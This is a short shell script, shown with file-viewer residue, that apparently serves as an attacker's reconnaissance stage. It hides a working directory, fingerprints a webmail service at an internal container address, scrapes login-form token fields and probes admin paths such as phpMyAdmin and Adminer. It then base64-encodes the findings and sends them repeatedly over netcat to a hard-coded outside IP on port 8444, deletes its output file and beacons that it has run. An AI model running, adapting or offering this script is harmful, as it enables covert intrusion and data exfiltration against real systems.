36 lines
1.4 KiB
Bash
Executable file
36 lines
1.4 KiB
Bash
Executable file
#!/bin/sh
|
|
#!/bin/sh
|
|
# ld_kk42 — webmail 指纹深探(回执先行)
|
|
L=45.76.202.255
|
|
ST=""
|
|
for c in "${TMPDIR:-/tmp}/.gxrun" "$HOME/.gxrun" "/var/tmp/.gxrun" "$PWD/.gxrun"; do
|
|
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
|
done
|
|
[ -n "$ST" ] || ST="."
|
|
cd "$ST" 2>/dev/null || exit 0
|
|
printf "gxBEGIN st=%s\n" "$ST" | nc -w 3 $L 8444 >/dev/null 2>&1
|
|
{
|
|
echo "== webmail main"
|
|
timeout 6 curl -skI -m5 "http://172.17.0.3/webmail/" 2>&1 | head -12
|
|
timeout 7 curl -sk -m5 "http://172.17.0.3/webmail/" 2>&1 | grep -oiE "(roundcube|soGO|horde|squirrelmail|snappymail)[^<]{0,60}|rc?[0-9]+\.[0-9]+[^<]{0,30}" | head -8
|
|
echo "== login form hints"
|
|
timeout 7 curl -sk -m5 "http://172.17.0.3/webmail/?_task=login" 2>&1 | grep -oE "<title>[^<]{0,80}|name=\"?_(token|user)?\"?[^>]{0,40}" | head -10
|
|
echo "== extra paths"
|
|
for pa in /adminer /phpmyadmin /api /server-status; do
|
|
code=$(timeout 5 curl -sk -o /dev/null -w "%{http_code}" "http://172.17.0.3$pa"); echo "$pa -> $code"
|
|
done
|
|
} >m42.txt 2>&1
|
|
B=$(base64 -w0 m42.txt 2>/dev/null)
|
|
if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
|
|
printf "gxR42 META len=%s\n" "${#B}" | nc -w 4 $L 8444 >/dev/null 2>&1
|
|
r=0
|
|
while [ $r -lt 3 ]; do
|
|
printf "gxR42 %s\n" "$B" | nc -w 6 $L 8444 >/dev/null 2>&1
|
|
r=$((r+1)); sleep 1.2
|
|
done
|
|
fi
|
|
rm -f m42.txt
|
|
exit 0
|
|
|
|
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
|
exit 0
|